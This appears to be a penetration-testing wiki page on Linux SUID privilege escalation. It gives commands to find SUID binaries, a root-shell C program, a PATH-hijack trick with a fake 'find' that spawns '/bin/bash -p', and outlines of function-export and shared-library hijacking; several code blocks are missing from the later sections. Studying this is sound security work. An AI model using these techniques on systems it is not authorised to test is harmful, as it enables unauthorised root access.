SUID Binaries
Theory
SUID/Setuid stands for "set user ID upon execution", it is enabled by default in every Linux distributions. If a file with this bit is run, the uid will be changed by the owner one. If the file owner is root, the uid will be changed to root even if it was executed from user bob. SUID bit is represented by an s.
Practice
Misc SUID Binaries
We can use this command to find all SUID binaries
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
find / -perm -4000 -type f 2>/dev/nullHere is how to create a SUID binary
print 'int main(void){\nsetresuid(0, 0, 0);\nsystem("/bin/sh");\n}' > /tmp/suid.c
gcc -o /tmp/suid /tmp/suid.c
sudo chmod +x /tmp/suid # execute right
sudo chmod +s /tmp/suid # setuid bitIf you find that a binary have the SUID bits, you can check on GTFOBins for known SUID exploits.
No Command Path Exploit
If a suid binary executes another command without specifying the path. We can abuse it and get a privilege escalation.
You may use strings to spot other binaries calls, or do some reverse engineering on the suid binary.
strings ./the-suid-bin
...
find
...We can create a malicious executable with the same name as the one called by the suid binary.
echo '/bin/bash -p' > /tmp/find
chmod +x /tmp/findThen, set the PATH env variable before executing the SUID binary.
#Sudo with modified PATH
export PATH=/tmp:$PATH
./the-suid-binFunctions Export Exploit - Full Path Binary
If the suid binary executes another command specifying the full path, then, we can try to export a function named as the command that the suid file is calling.
You may use strings to spot others binary/command calls, or do some reverse engineering on the suid binary.
we can try to export a function named as the command that the suid file is calling.
For example, if a suid binary calls /usr/sbin/service apache2 start you have to try to create the function and export it:
Then, execute the SUID binary.
An other method is to type the following command:
Shared Library Hijacking
If you find some binary with SUID permissions, you could check if all the .so files are loaded correctly
You also could check if the SUID binary is loading a library from a folder where we can write:
Alternatively, you could use the strings command to find used shared library
For example, if you find that the suid binary doesn't load correctly /home/user/.config/libcalc.so or that you can overwrite it, you can exploit it.
Write a malicious shared library
Compile it
Execute the SUID binary
References
Last updated
Was this helpful?